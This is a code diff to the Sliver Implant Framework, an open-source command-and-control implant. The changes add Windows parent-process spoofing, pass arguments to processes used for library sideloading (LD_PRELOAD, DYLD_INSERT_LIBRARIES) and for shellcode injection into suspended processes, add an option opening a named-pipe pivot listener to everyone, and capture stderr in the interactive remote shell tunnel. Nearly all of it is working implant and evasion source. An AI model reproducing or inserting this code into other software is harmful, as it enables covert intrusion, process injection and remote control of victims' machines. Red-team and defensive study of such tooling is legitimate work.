listener, err := createListener(req.BindAddress, connection.Send, req.Options...)
if err != nil {
resp.Response.Err = err.Error()
data, _ := proto.Marshal(resp)
+1 -1
View File
@@ -121,7 +121,7 @@ func sideloadHandler(data []byte, resp RPCResponse) {
if err != nil {
return
}
result, err := taskrunner.Sideload(sideloadReq.GetProcessName(), sideloadReq.GetData(), sideloadReq.GetArgs(), sideloadReq.Kill)
result, err := taskrunner.Sideload(sideloadReq.GetProcessName(), sideloadReq.GetProcessArgs(), sideloadReq.GetPPid(), sideloadReq.GetData(), sideloadReq.GetArgs(), sideloadReq.Kill)
errStr := ""
if err != nil {
errStr = err.Error()
@@ -55,6 +55,7 @@ func psHandler(data []byte, resp RPCResponse) {
Ppid: int32(proc.PPid()),
Executable: proc.Executable(),
Owner: proc.Owner(),
Architecture: proc.Architecture(),
}
p.CmdLine = proc.(*ps.DarwinProcess).CmdLine()
psList.Processes = append(psList.Processes, p)
@@ -55,6 +55,7 @@ func psHandler(data []byte, resp RPCResponse) {
Ppid: int32(proc.PPid()),
Executable: proc.Executable(),
Owner: proc.Owner(),
Architecture: proc.Architecture(),
}
p.CmdLine = proc.(*ps.UnixProcess).CmdLine()
psList.Processes = append(psList.Processes, p)
@@ -55,6 +55,7 @@ func psHandler(data []byte, resp RPCResponse) {
Ppid: int32(proc.PPid()),
Executable: proc.Executable(),
Owner: proc.Owner(),
Architecture: proc.Architecture(),
}
p.CmdLine = proc.(*ps.WindowsProcess).CmdLine()
p.SessionID = int32(proc.(*ps.WindowsProcess).SessionID())
@@ -1,5 +1,23 @@
package tunnel_handlers
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
// {{if .Config.Debug}}
@@ -22,8 +40,7 @@ func TunnelCloseHandler(envelope *sliverpb.Envelope, connection *transports.Conn
log.Printf("[tunnel] Closing tunnel with id %d", tunnel.ID)
// {{end}}
connection.RemoveTunnel(tunnel.ID)
tunnel.Reader.Close()
tunnel.Writer.Close()
tunnel.Close() // Call tunnel.Close instead of individually closing each Reader/Writer here
tunnelDataCache.DeleteTun(tunnel.ID)
} else {
// {{if .Config.Debug}}
@@ -1,5 +1,23 @@
package tunnel_handlers
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"sync"
@@ -1,5 +1,23 @@
package tunnel_handlers
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
// {{if .Config.Debug}}
@@ -1,5 +1,23 @@
package tunnel_handlers
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
// {{if .Config.Debug}}
@@ -13,6 +31,7 @@ import (
"time"
"github.com/bishopfox/sliver/implant/sliver/transports"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
)
@@ -24,6 +43,12 @@ func PortfwdReqHandler(envelope *sliverpb.Envelope, connection *transports.Conne
// {{if .Config.Debug}}
log.Printf("[portfwd] Failed to unmarshal protobuf %s", err)
// {{end}}
portfwdResp, _ := proto.Marshal(&sliverpb.Portfwd{
Response: &commonpb.Response{
Err: err.Error(),
},
})
reportError(envelope, connection, portfwdResp)
return
}
@@ -43,6 +68,12 @@ func PortfwdReqHandler(envelope *sliverpb.Envelope, connection *transports.Conne
log.Printf("[portfwd] Failed to dial remote address %s", err)
// {{end}}
cancelContext()
portfwdResp, _ := proto.Marshal(&sliverpb.Portfwd{
Response: &commonpb.Response{
Err: err.Error(),
},
})
reportError(envelope, connection, portfwdResp)
return
}
if conn, ok := dst.(*net.TCPConn); ok {
@@ -101,7 +132,8 @@ func PortfwdReqHandler(envelope *sliverpb.Envelope, connection *transports.Conne
tun: tunnel,
conn: connection,
}
n, err := io.Copy(tWriter, tunnel.Reader)
// portfwd only uses one reader, hence the tunnel.Readers[0]
n, err := io.Copy(tWriter, tunnel.Readers[0])
_ = n // avoid not used compiler error if debug mode is disabled
// {{if .Config.Debug}}
log.Printf("[tunnel] Tunnel done, wrote %v bytes", n)
@@ -1,5 +1,23 @@
package tunnel_handlers
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
// {{if .Config.Debug}}
@@ -10,6 +28,7 @@ import (
"github.com/bishopfox/sliver/implant/sliver/shell"
"github.com/bishopfox/sliver/implant/sliver/transports"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
)
@@ -22,6 +41,12 @@ func ShellReqHandler(envelope *sliverpb.Envelope, connection *transports.Connect
// {{if .Config.Debug}}
log.Printf("[shell] Failed to unmarshal protobuf %s", err)
// {{end}}
shellResp, _ := proto.Marshal(&sliverpb.Shell{
Response: &commonpb.Response{
Err: err.Error(),
},
})
reportError(envelope, connection, shellResp)
return
}
@@ -31,14 +56,26 @@ func ShellReqHandler(envelope *sliverpb.Envelope, connection *transports.Connect
// {{if .Config.Debug}}
log.Printf("[shell] Failed to get system shell")
// {{end}}
shellResp, _ := proto.Marshal(&sliverpb.Shell{
Response: &commonpb.Response{
Err: err.Error(),
},
})
reportError(envelope, connection, shellResp)
return
}
// At this point, comand is already started by StartInteractive
// At this point, command is already started by StartInteractive
if err != nil {
// {{if .Config.Debug}}
log.Printf("[shell] Failed to spawn! err: %v", err)
// {{end}}
shellResp, _ := proto.Marshal(&sliverpb.Shell{
Response: &commonpb.Response{
Err: err.Error(),
},
})
reportError(envelope, connection, shellResp)
return
} else {
// {{if .Config.Debug}}
@@ -48,8 +85,9 @@ func ShellReqHandler(envelope *sliverpb.Envelope, connection *transports.Connect
tunnel := transports.NewTunnel(
shellReq.TunnelID,
systemShell.Stdout,
systemShell.Stdin,
systemShell.Stdout,
systemShell.Stderr,
)
connection.AddTunnel(tunnel)
@@ -81,35 +119,41 @@ func ShellReqHandler(envelope *sliverpb.Envelope, connection *transports.Connect
}
}
go func() {
tWriter := tunnelWriter{
tun: tunnel,
conn: connection,
for _, rc := range tunnel.Readers {
if rc == nil {
continue
}
_, err := io.Copy(tWriter, tunnel.Reader)
go func(outErr io.ReadCloser) {
tWriter := tunnelWriter{
conn: connection,
tun: tunnel,
}
// {{if .Config.Debug}}
log.Printf("[shell] tWriter: %v outErr: %v", tWriter, outErr)
// {{end}}
_, err := io.Copy(tWriter, outErr)
if err != nil {
cleanup("io error", err)
return
}
err = systemShell.Wait() // sync wait, since we already locked in io.Copy, and it will release once it's done
if err != nil {
cleanup("shell wait error", err)
return
}
if systemShell.Command.ProcessState != nil {
if systemShell.Command.ProcessState.Exited() {
cleanup("process terminated", nil)
if err != nil {
cleanup("io error", err)
return
}
}
if err == io.EOF {
cleanup("EOF", err)
return
}
}()
err = systemShell.Wait() // sync wait, since we already locked in io.Copy, and it will release once it's done
if err != nil {
cleanup("shell wait error", err)
return
}
if systemShell.Command.ProcessState != nil {
if systemShell.Command.ProcessState.Exited() {
cleanup("process terminated", nil)
return
}
}
if err == io.EOF {
cleanup("EOF", err)
return
}
}(rc)
}
// {{if .Config.Debug}}
log.Printf("[shell] Started shell with tunnel ID %d", tunnel.ID)
@@ -1,5 +1,23 @@
package tunnel_handlers
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
// {{if .Config.Debug}}
@@ -1,5 +1,23 @@
package tunnel_handlers
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
// {{if .Config.Debug}}
@@ -27,7 +45,7 @@ func (tw tunnelWriter) Write(data []byte) (int, error) {
Data: data,
})
// {{if .Config.Debug}}
log.Printf("[tunnelWriter] Write %d bytes (write seq: %d) ack: %d, data: %s", n, tw.tun.WriteSequence(), tw.tun.ReadSequence(), data)
log.Printf("[tunnelWriter] Write %d bytes (write seq: %d) ack: %d", n, tw.tun.WriteSequence(), tw.tun.ReadSequence())
// {{end}}
tw.tun.IncWriteSequence() // Increment write sequence
tw.conn.Send <- &sliverpb.Envelope{
@@ -0,0 +1,31 @@
package tunnel_handlers
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"github.com/bishopfox/sliver/implant/sliver/transports"
"github.com/bishopfox/sliver/protobuf/sliverpb"
)
func reportError(envelope *sliverpb.Envelope, connection *transports.Connection, data []byte) {
connection.Send <- &sliverpb.Envelope{
Data: data,
ID: envelope.ID,
}
}
-3
View File
@@ -1,6 +1,3 @@
//go:build windows
// +build windows
package hostuuid
/*
+2
View File
@@ -1,3 +1,5 @@
//go:build 386 || amd64 || arm
package limits
/*
+12 -3
View File
@@ -31,17 +31,25 @@ import (
"github.com/lesnuages/go-winio"
)
const PipeAllowAllAccess = 0
var (
namedpipePivotReadDeadline = 10 * time.Second
namedpipePivotWriteDeadline = 10 * time.Second
)
// CreateNamedPipePivotListener - Starts a named pipe listener
func CreateNamedPipePivotListener(address string, upstream chan<- *pb.Envelope) (*PivotListener, error) {
func CreateNamedPipePivotListener(address string, upstream chan<- *pb.Envelope, opts ...bool) (*PivotListener, error) {
fullName := "\\\\.\\pipe\\" + strings.TrimPrefix(address, "\\\\.\\pipe\\")
sd := ""
if len(opts) > 0 {
if opts[PipeAllowAllAccess] {
sd = "D:(A;;0x1f019f;;;WD)" // open to all
}
}
ln, err := winio.ListenPipe(fullName, &winio.PipeConfig{
//SecurityDescriptor: "",
RemoteClientMode: true,
SecurityDescriptor: sd,
RemoteClientMode: true,
})
// {{if .Config.Debug}}
log.Printf("Listening on named pipe %s", fullName)
@@ -56,6 +64,7 @@ func CreateNamedPipePivotListener(address string, upstream chan<- *pb.Envelope)
PivotConnections: &sync.Map{},
BindAddress: fullName,
Upstream: upstream,
Options: opts,
}
go namedPipeAcceptConnections(pivotLn)
return pivotLn, nil
+10 -3
View File
@@ -72,7 +72,7 @@ func generatePeerID() int64 {
}
// CreateListener - Generic interface to a start listener function
type CreateListener func(string, chan<- *pb.Envelope) (*PivotListener, error)
type CreateListener func(string, chan<- *pb.Envelope, ...bool) (*PivotListener, error)
// GetListeners - Get a list of active listeners
func GetListeners() []*pb.PivotListener {
@@ -106,7 +106,7 @@ func RestartAllListeners(send chan<- *pb.Envelope) {
stoppedPivotListeners.Range(func(key, value interface{}) bool {
stoppedListener := value.(*PivotListener)
if createListener, ok := SupportedPivotListeners[stoppedListener.Type]; ok {
listener, err := createListener(stoppedListener.BindAddress, send)
listener, err := createListener(stoppedListener.BindAddress, send, stoppedListener.Options...)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[pivot] failed to restart listener: %s", err)
@@ -208,6 +208,7 @@ type PivotListener struct {
PivotConnections *sync.Map // PeerID (int64) -> NetConnPivot
BindAddress string
Upstream chan<- *pb.Envelope
Options []bool
}
// ToProtobuf - Get the protobuf version of the pivot listener
@@ -457,8 +458,13 @@ func (p *NetConnPivot) write(message []byte) error {
}
total := 0
chunk := 1024
for total < len(message) {
n, err = p.conn.Write(message[total:])
if total+chunk <= len(message) {
n, err = p.conn.Write(message[total : total+chunk])
} else {
n, err = p.conn.Write(message[total:])
}
total += n
if err != nil {
// {{if .Config.Debug}}
@@ -467,6 +473,7 @@ func (p *NetConnPivot) write(message []byte) error {
return err
}
}
return nil
}
+1 -1
View File
@@ -36,7 +36,7 @@ var (
)
// CreateTCPPivotListener - Start a TCP listener
func CreateTCPPivotListener(address string, upstream chan<- *pb.Envelope) (*PivotListener, error) {
func CreateTCPPivotListener(address string, upstream chan<- *pb.Envelope, opts ...bool) (*PivotListener, error) {
// {{if .Config.Debug}}
log.Printf("Starting TCP pivot listener on %s", address)
// {{end}}
+3
View File
@@ -25,6 +25,9 @@ type Process interface {
// Owner is the account name of the process owner.
Owner() string
// Architecture is the architecture of the process.
Architecture() string
}
// Processes returns all processes.
+7
View File
@@ -19,6 +19,7 @@ type DarwinProcess struct {
ppid int
binary string
owner string
arch string
cmdLine []string
}
@@ -42,6 +43,10 @@ func (p *DarwinProcess) CmdLine() []string {
return p.cmdLine
}
func (p *DarwinProcess) Architecture() string {
return p.arch
}
func findProcess(pid int) (Process, error) {
ps, err := processes()
if err != nil {
@@ -98,6 +103,7 @@ func processes() ([]Process, error) {
if owner == "" {
owner = uid
}
arch := ""
darwinProcs[i] = &DarwinProcess{
pid: int(p.Proc.P_pid),
@@ -105,6 +111,7 @@ func processes() ([]Process, error) {
binary: binPath,
owner: owner,
cmdLine: cmdLine,
arch: arch,
}
}
+38
View File
@@ -21,6 +21,7 @@ type UnixProcess struct {
state rune
pgrp int
sid int
arch string
cmdLine []string
binary string
@@ -51,6 +52,10 @@ func (p *UnixProcess) CmdLine() []string {
return p.cmdLine
}
func (p *UnixProcess) Architecture() string {
return p.arch
}
func getProcessOwnerUid(pid int) (uint32, error) {
filename := fmt.Sprintf("/proc/%d/task", pid)
f, err := os.Open(filename)
@@ -89,6 +94,38 @@ func getProcessCmdLine(pid int) ([]string, error) {
return argv, nil
}
func getProcessArchitecture(pid int) (string, error) {
exePath := fmt.Sprintf("/proc/%d/exe", pid)
f, err := os.Open(exePath)
if err != nil {
return "", err
}
_, err = f.Seek(0x12, 0)
if err != nil {
return "", err
}
mach := make([]byte, 2)
n, err := io.ReadAtLeast(f, mach, 2)
f.Close()
if err != nil || n < 2 {
return "", nil
}
if mach[0] == 0xb3 {
return "aarch64", nil
}
if mach[0] == 0x03 {
return "x86", nil
}
if mach[0] == 0x3e {
return "x86_64", nil
}
return "", err
}
// Refresh reloads all the data associated with this process.
func (p *UnixProcess) Refresh() error {
statPath := fmt.Sprintf("/proc/%d/stat", p.pid)
@@ -176,6 +213,7 @@ func processes() ([]Process, error) {
p.binary = argv[0]
}
}
p.arch, err = getProcessArchitecture(int(pid))
results = append(results, p)
}
}
+69
View File
@@ -7,6 +7,7 @@ import (
"fmt"
"github.com/bishopfox/sliver/implant/sliver/syscalls"
"golang.org/x/sys/windows"
"runtime"
"strings"
"syscall"
"unsafe"
@@ -18,6 +19,7 @@ type WindowsProcess struct {
ppid int
exe string
owner string
arch string
cmdLine []string
sessionID int
}
@@ -38,6 +40,10 @@ func (p *WindowsProcess) Owner() string {
return p.owner
}
func (p *WindowsProcess) Architecture() string {
return p.arch
}
func (p *WindowsProcess) CmdLine() []string {
return p.cmdLine
}
@@ -58,6 +64,7 @@ func newWindowsProcess(e *syscall.ProcessEntry32) *WindowsProcess {
account, _ := getProcessOwner(e.ProcessID)
sessionID, _ := getSessionID(e.ProcessID)
cmdLine, _ := getCmdLine(e.ProcessID)
arch, _ := getProcessArchitecture(e.ProcessID)
return &WindowsProcess{
pid: int(e.ProcessID),
@@ -65,6 +72,7 @@ func newWindowsProcess(e *syscall.ProcessEntry32) *WindowsProcess {
exe: syscall.UTF16ToString(e.ExeFile[:end]),
owner: account,
cmdLine: cmdLine,
arch: arch,
sessionID: sessionID,
}
}
@@ -237,6 +245,7 @@ func getCmdLine(pid uint32) ([]string, error) {
return strings.Fields(syscall.UTF16ToString(module.SzExePath[:])), err
}
err = syscall.CloseHandle(proc)
if err != nil {
return strings.Fields(syscall.UTF16ToString(module.SzExePath[:])), err
@@ -245,6 +254,66 @@ func getCmdLine(pid uint32) ([]string, error) {
return strings.Fields(syscall.UTF16ToString(module.SzExePath[:]) + " : " + syscall.UTF16ToString(cmdLine[:])), nil
}
var nativeArch string = ""
var nativeArchLookup bool = true
func getProcessArchitecture(pid uint32) (string, error) {
if nativeArchLookup {
nativeArchLookup = false
if runtime.GOARCH == "amd64" {
nativeArch = "x86_64"
} else {
var is64Bit bool
pHandle, _ := windows.GetCurrentProcess()
if uint(pHandle) == 0 {
nativeArch = ""
} else if err := windows.IsWow64Process(pHandle, &is64Bit); err != nil {
nativeArch = ""
} else {
if !is64Bit {
nativeArch = "x86"
} else {
nativeArch = "x86_64"
}
}
}
}
proc, err := syscall.OpenProcess(
windows.PROCESS_QUERY_INFORMATION,
false,
pid,
)
if err != nil {
proc, err = syscall.OpenProcess(
windows.PROCESS_QUERY_LIMITED_INFORMATION,
false,
pid,
)
if err != nil {
return "", err
}
}
arch := ""
var isWow64 bool
if err := windows.IsWow64Process(windows.Handle(proc), &isWow64); err == nil {
if isWow64 {
arch = "x86"
} else {
arch = nativeArch
}
}
err = syscall.CloseHandle(proc)
if err != nil {
return "", err
}
return arch, err
}
func getSessionID(pid uint32) (int, error) {
var sessionID uint32
err := windows.ProcessIdToSessionId(pid, &sessionID)
+10
View File
@@ -77,6 +77,15 @@ func pipedShell(tunnelID uint64, command []string) (*Shell, error) {
return nil, err
}
stderr, err := cmd.StderrPipe()
if err != nil {
// {{if .Config.Debug}}
log.Printf("[shell] stderr pipe failed\n")
// {{end}}
cancel()
return nil, err
}
err = cmd.Start()
return &Shell{
@@ -84,6 +93,7 @@ func pipedShell(tunnelID uint64, command []string) (*Shell, error) {
Command: cmd,
Stdout: stdout,
Stdin: stdin,
Stderr: stderr,
Cancel: cancel,
}, err
}
+1
View File
@@ -31,6 +31,7 @@ type Shell struct {
Command *exec.Cmd
Stdout io.ReadCloser
Stdin io.WriteCloser
Stderr io.ReadCloser
Cancel context.CancelFunc
}
+10
View File
@@ -72,11 +72,21 @@ func pipedShell(tunnelID uint64, command []string) (*Shell, error) {
return nil, err
}
stderr, err := cmd.StderrPipe()
if err != nil {
// {{if .Config.Debug}}
log.Printf("[shell] stderr pipe failed\n")
// {{end}}
cancel()
return nil, err
}
return &Shell{
ID: tunnelID,
Command: cmd,
Stdout: stdout,
Stdin: stdin,
Stderr: stderr,
Cancel: cancel,
}, nil
}
+10
View File
@@ -95,6 +95,15 @@ func pipedShell(tunnelID uint64, command []string) (*Shell, error) {
return nil, err
}
stderr, err := cmd.StderrPipe()
if err != nil {
// {{if .Config.Debug}}
log.Printf("[shell] stderr pipe failed\n")
// {{end}}
cancel()
return nil, err
}
err = cmd.Start()
return &Shell{
@@ -102,6 +111,7 @@ func pipedShell(tunnelID uint64, command []string) (*Shell, error) {
Command: cmd,
Stdout: stdout,
Stdin: stdin,
Stderr: stderr,
Cancel: cancel,
}, err
}
+1
View File
@@ -0,0 +1 @@
package spoof
+28
View File
@@ -0,0 +1,28 @@
//go:build windows
// +build windows
package spoof
import (
"golang.org/x/sys/windows"
"os/exec"
"syscall"
// {{if .Config.Debug}}
"log"
// {{end}}
)
func SpoofParent(ppid uint32, cmd *exec.Cmd) error {
parentHandle, err := windows.OpenProcess(windows.PROCESS_CREATE_PROCESS|windows.PROCESS_DUP_HANDLE|windows.PROCESS_QUERY_INFORMATION, false, ppid)
if err != nil {
//{{if .Config.Debug}}
log.Printf("OpenProcess failed: %v\n", err)
//{{end}}
return err
}
if cmd.SysProcAttr == nil {
cmd.SysProcAttr = &windows.SysProcAttr{}
}
cmd.SysProcAttr.ParentProcess = syscall.Handle(parentHandle)
return nil
}
+7 -2
View File
@@ -58,11 +58,12 @@ func RemoteTask(processID int, data []byte, rwxPages bool) error {
}
// Sideload - Side load a library and return its output
func Sideload(procName string, data []byte, args string, kill bool) (string, error) {
func Sideload(procName string, procArgs []string, _ uint32, data []byte, args string, kill bool) (string, error) {
var (
stdOut bytes.Buffer
stdErr bytes.Buffer
wg sync.WaitGroup
cmd *exec.Cmd
)
fdPath := fmt.Sprintf("/tmp/.%s", randomString(10))
err := ioutil.WriteFile(fdPath, data, 0755)
@@ -75,7 +76,11 @@ func Sideload(procName string, data []byte, args string, kill bool) (string, err
fmt.Sprintf("DYLD_INSERT_LIBRARIES=%s", fdPath),
}
env = append(env, newEnv...)
cmd := exec.Command(procName)
if len(procArgs) > 0 {
cmd = exec.Command(procName, procArgs...)
} else {
cmd = exec.Command(procName)
}
cmd.Env = env
cmd.Stdout = &stdOut
cmd.Stderr = &stdErr
+7 -2
View File
@@ -56,12 +56,13 @@ func RemoteTask(processID int, data []byte, rwxPages bool) error {
}
// Sideload - Side load a library and return its output
func Sideload(procName string, data []byte, args string, kill bool) (string, error) {
func Sideload(procName string, procArgs []string, _ uint32, data []byte, args string, kill bool) (string, error) {
var (
nrMemfdCreate int
stdOut bytes.Buffer
stdErr bytes.Buffer
wg sync.WaitGroup
cmd *exec.Cmd
)
memfdName := randomString(8)
memfd, err := syscall.BytePtrFromString(memfdName)
@@ -95,7 +96,11 @@ func Sideload(procName string, data []byte, args string, kill bool) (string, err
fmt.Sprintf("LD_PRELOAD=%s", fdPath),
}
env = append(env, newEnv...)
cmd := exec.Command(procName)
if len(procArgs) > 0 {
cmd = exec.Command(procName, procArgs...)
} else {
cmd = exec.Command(procName)
}
cmd.Env = env
cmd.Stdout = &stdOut
cmd.Stderr = &stdErr
+25 -16
View File
@@ -1,5 +1,3 @@
//go:build windows
package taskrunner
/*
@@ -33,6 +31,7 @@ import (
"time"
"unsafe"
"github.com/bishopfox/sliver/implant/sliver/spoof"
"syscall"
// {{if .Config.Evasion}}
"github.com/bishopfox/sliver/implant/sliver/evasion"
@@ -201,12 +200,12 @@ func LocalTask(data []byte, rwxPages bool) error {
return err
}
func ExecuteAssembly(data []byte, process string) (string, error) {
func ExecuteAssembly(data []byte, process string, processArgs []string, ppid uint32) (string, error) {
var (
stdoutBuf, stderrBuf bytes.Buffer
lpTargetHandle windows.Handle
)
cmd, err := startProcess(process, &stdoutBuf, &stderrBuf, true)
cmd, err := startProcess(process, processArgs, ppid, &stdoutBuf, &stderrBuf, true)
if err != nil {
//{{if .Config.Debug}}
log.Println("Could not start process:", process)
@@ -254,7 +253,7 @@ func ExecuteAssembly(data []byte, process string) (string, error) {
return stdoutBuf.String() + stderrBuf.String(), nil
}
func SpawnDll(procName string, data []byte, offset uint32, args string, kill bool) (string, error) {
func SpawnDll(procName string, processArgs []string, ppid uint32, data []byte, offset uint32, args string, kill bool) (string, error) {
var lpTargetHandle windows.Handle
err := refresh()
if err != nil {
@@ -263,7 +262,7 @@ func SpawnDll(procName string, data []byte, offset uint32, args string, kill boo
var stdoutBuff bytes.Buffer
var stderrBuff bytes.Buffer
// 1 - Start process
cmd, err := startProcess(procName, &stdoutBuff, &stderrBuff, true)
cmd, err := startProcess(procName, processArgs, ppid, &stdoutBuff, &stderrBuff, true)
if err != nil {
return "", err
}
@@ -329,9 +328,9 @@ func SpawnDll(procName string, data []byte, offset uint32, args string, kill boo
return "", nil
}
//SideLoad - Side load a binary as shellcode and returns its output
func Sideload(procName string, data []byte, args string, kill bool) (string, error) {
return SpawnDll(procName, data, 0, "", kill)
// SideLoad - Side load a binary as shellcode and returns its output
func Sideload(procName string, procArgs []string, ppid uint32, data []byte, args string, kill bool) (string, error) {
return SpawnDll(procName, procArgs, ppid, data, 0, "", kill)
}
// Util functions
@@ -360,20 +359,30 @@ func refresh() error {
return nil
}
func startProcess(proc string, stdout *bytes.Buffer, stderr *bytes.Buffer, suspended bool) (*exec.Cmd, error) {
cmd := exec.Command(proc)
func startProcess(proc string, args []string, ppid uint32, stdout *bytes.Buffer, stderr *bytes.Buffer, suspended bool) (*exec.Cmd, error) {
var cmd *exec.Cmd
if len(args) > 0 {
cmd = exec.Command(proc, args...)
} else {
cmd = exec.Command(proc)
}
cmd.SysProcAttr = &windows.SysProcAttr{
Token: syscall.Token(CurrentToken),
Token: syscall.Token(CurrentToken),
HideWindow: true,
}
err := spoof.SpoofParent(ppid, cmd)
if err != nil {
// We couldn't spoof the parent, fail open and continue
//{{if .Config.Debug}}
log.Printf("could not spoof parent PID: %v\n", err)
//{{end}}
}
cmd.Stdout = stdout
cmd.Stderr = stderr
cmd.SysProcAttr = &windows.SysProcAttr{
HideWindow: true,
}
if suspended {
cmd.SysProcAttr.CreationFlags = windows.CREATE_SUSPENDED
}
err := cmd.Start()
err = cmd.Start()
if err != nil {
//{{if .Config.Debug}}
log.Println("Could not start process:", proc)
@@ -96,13 +96,13 @@ var (
// DNSOptions - c2 specific options
type DNSOptions struct {
QueryTimeout time.Duration
RetryWait time.Duration
RetryCount int
MaxErrors int
WokersPerResolver int
ForceBase32 bool
ForceResolvConf string
QueryTimeout time.Duration
RetryWait time.Duration
RetryCount int
MaxErrors int
WorkersPerResolver int
ForceBase32 bool
ForceResolvConf string
}
// ParseDNSOptions - Parse c2 specific options
@@ -134,13 +134,13 @@ func ParseDNSOptions(c2URI *url.URL) *DNSOptions {
}
return &DNSOptions{
QueryTimeout: queryTimeout,
RetryWait: retryWait,
RetryCount: retryCount,
MaxErrors: maxErrors,
WokersPerResolver: workersPerResolver,
ForceBase32: strings.ToLower(c2URI.Query().Get("force-base32")) == "true",
ForceResolvConf: c2URI.Query().Get("force-resolv-conf"),
QueryTimeout: queryTimeout,
RetryWait: retryWait,
RetryCount: retryCount,
MaxErrors: maxErrors,
WorkersPerResolver: workersPerResolver,
ForceBase32: strings.ToLower(c2URI.Query().Get("force-base32")) == "true",
ForceResolvConf: c2URI.Query().Get("force-resolv-conf"),
}
}
@@ -171,7 +171,7 @@ func NewDNSClient(parent string, opts *DNSOptions) *SliverDNSClient {
retryCount: opts.RetryCount,
closed: true,
WorkersPerResolver: opts.WokersPerResolver,
WorkersPerResolver: opts.WorkersPerResolver,
subdataSpace: 254 - len(parent) - (1 + (254-len(parent))/64),
base32: encoders.Base32{},
base58: encoders.Base58{},
@@ -46,10 +46,10 @@ var (
parentMax = fmt.Sprintf(".%s.%s.%s.", strings.Repeat("a", 63), strings.Repeat("b", 63), strings.Repeat("c", 24))
opts = &DNSOptions{
QueryTimeout: time.Duration(time.Second * 3),
RetryWait: time.Duration(time.Second * 3),
RetryCount: 1,
WokersPerResolver: 1,
QueryTimeout: time.Duration(time.Second * 3),
RetryWait: time.Duration(time.Second * 3),
RetryCount: 1,
WorkersPerResolver: 1,
}
)
-3
View File
@@ -253,9 +253,6 @@ func mtlsConnect(uri *url.URL) (*Connection, error) {
if !ok {
return
}
// {{if .Config.Debug}}
log.Printf("TRANSPORT MESSAGE: type (%d) - %s", envelope.Type, envelope.Data)
// {{end}}
err := mtls.WriteEnvelope(conn, envelope)
if err != nil {
return
+12 -7
View File
@@ -9,7 +9,8 @@ import (
type Tunnel struct {
ID uint64
Reader io.ReadCloser
// Reader io.ReadCloser
Readers []io.ReadCloser
readSequence uint64
Writer io.WriteCloser
@@ -18,12 +19,12 @@ type Tunnel struct {
mutex *sync.RWMutex
}
func NewTunnel(id uint64, reader io.ReadCloser, writer io.WriteCloser) *Tunnel {
func NewTunnel(id uint64, writer io.WriteCloser, readers ...io.ReadCloser) *Tunnel {
return &Tunnel{
ID: id,
Reader: reader,
Writer: writer,
mutex: &sync.RWMutex{},
ID: id,
Readers: readers,
Writer: writer,
mutex: &sync.RWMutex{},
}
}
